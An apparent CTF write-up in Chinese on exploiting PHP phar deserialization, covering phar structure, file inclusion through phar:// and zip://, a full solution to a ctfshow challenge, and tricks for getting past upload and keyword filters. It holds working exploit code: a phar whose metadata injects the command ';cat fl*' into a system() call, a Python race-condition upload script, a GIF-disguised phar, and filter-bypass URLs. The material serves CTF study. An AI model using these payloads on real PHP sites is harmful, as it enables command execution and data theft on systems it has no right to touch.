利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展php反序列化漏洞的攻击面,这篇文章来总结下ctf遇到的phar的利用和绕过方式
Phar文件结构
phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分
1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾
生成phar文件
php内置了一个Phar类来处理相关操作
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件
访问之后会在同目录生成 phar.phar 文件,xxd 命令查看文件结构
meta-data是以序列化的形式存储的
php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
析构方法被调用,注意此处 weakup 等方法不会被调用
这样就可以在不调用unserialize()的情况下进行反序列化操作
参考文章:https://paper.seebug.org/680/
Phar协议文件包含
phar协议要求:
php大于5.3.0
需要将php.ini的参数phar.readonly设置为off
因为phar文件本质就是以中压缩文件,所以可以使用phar伪协议读取执行
很多网站都采用单一入口模式来作为网站文件加载模式
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include($action.'.php'); //载入相应文件
?>
此处就存在文件包含漏洞,可以利用伪协议读取文件源码,但是只能访问php文件
如果该网站同时存在上传图片的功能,这时就可以利用phar反序列化漏洞
首先写一个 test.php,写入要执行的命令
<?php phpinfo();?>
将 test.php 压缩为 test.zip 注意:压缩时选择仅存储,在文件上传处上传 test.zip 文件
将 test.zip 文件后缀改为 jpg,上传 jpg 文件,在 url 中访问
?r=phar://pic/test.jpg/test
不仅可以使用phar协议,zip协议也是可以的
zip文件包含
和phar用法不同效果一致
include($file.'.jpg');
# \x00的截断在php<5.3.4you'xi
将php文件后缀改为jpg(因为是include .jpg),然后用压缩软件压缩为 zip格式,再将 zip 文件后缀名改为 jpg(绕过限制方便图片上传)
/?r=zip://pic/test4.jpg%23test
pic是图片保存目录
这个例子只是利用了phar伪协议解析文件,并没有利用反序列化
Phar反序列化漏洞利用
既然很多函数可以触发phar反序列化,那么接下来就要实际利用该漏洞
漏洞利用条件
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤
以一个demo来说明
ctfshow web276 phar反序列化+条件竞争
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
发现可以通过 file_put_contents 写 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化
不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到
phar构造如下,会在当前目录生成evil.phar
文件
<?php
class filter
{
public $filename = ';cat fl*';
public $evilfile = true;
public $admin = true;
}
// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/**
* 将自定义的 meta-data 存入 manifest
* 这个函数需要在php.ini中修改 phar.readonly 为 Off
* 否则的话会抛出
* creating archive "***.phar" disabled by the php.ini setting phar.readonly
* 异常.
*/
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
条件竞争,py3脚本
import base64
import requests
import threading
flag = False
url = 'ip'
data = open('./evil.phar', 'rb').read()
pre_resp = requests.get(url)
if pre_resp.status_code != 200:
print(url + '\n链接好像挂了....')
exit(1)
def upload():
requests.post(url+"?fn=evil.phar", data=data)
def read():
global flag
r = requests.post(url+"?fn=phar://evil.phar/", data="")
if "ctfshow{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True
while flag is False:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()
将phar伪造成其他格式的文件
如果文件上传界面后端代码会检查文件类型的话,就需要将 phar 文件未造成其他格式文件
$_FILES["file"]["type"]=="image/gif"
由于php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
采用这种方法可以绕过很大一部分上传检测
绕过phar关键字检测
在第一个实例中,文件成功上传之后使用 phar 伪协议去读取文件,但是如果后端检测参数不能以 phar 开头的话,就需要绕过
if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename){
die();
}
绕过方法
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
// 还可以使用伪协议的方法绕过
php://filter/read=convert.base64-encode/resource=phar://phar.phar
绕过__HALT_COMPILER特征检测
if (preg_match("/</?|php|HALT_COMPILER/i",$filename){
die();
}
因为phar中的a stub
字段必须以__HALT_COMPILER();
字符串来结尾,否则phar
扩展将无法识别这个文件为phar
文件,所以这段字符串不能省略,只能绕过
方法一:
首先将 phar 文件使用 gzip 命令进行压缩,可以看到压缩之后的文件中就没有了__HALT_COMPILER()
,将 phar.gz 后缀改为 png(png文件可以上传)
文件上传成功后,利用文件包含漏洞包含文件
file_un.php?filename=phar://pic/phar.phar.gz/phar.phar
# file_un.php中包含__destruct并且可以被触发
方法二
将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过该正则
$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
这篇文章在php源码角度给出分析:https://www.anquanke.com/post/id/240007
phar反序列化过程中,对metadata进行解析的时候会进行
php_var_unserialize()
将Phar中的metadata进行反序列化
参考文章
https://xz.aliyun.com/t/2958
https://xz.aliyun.com/t/2715
https://paper.seebug.org/680/
https://blog.csdn.net/solitudi/article/details/113588692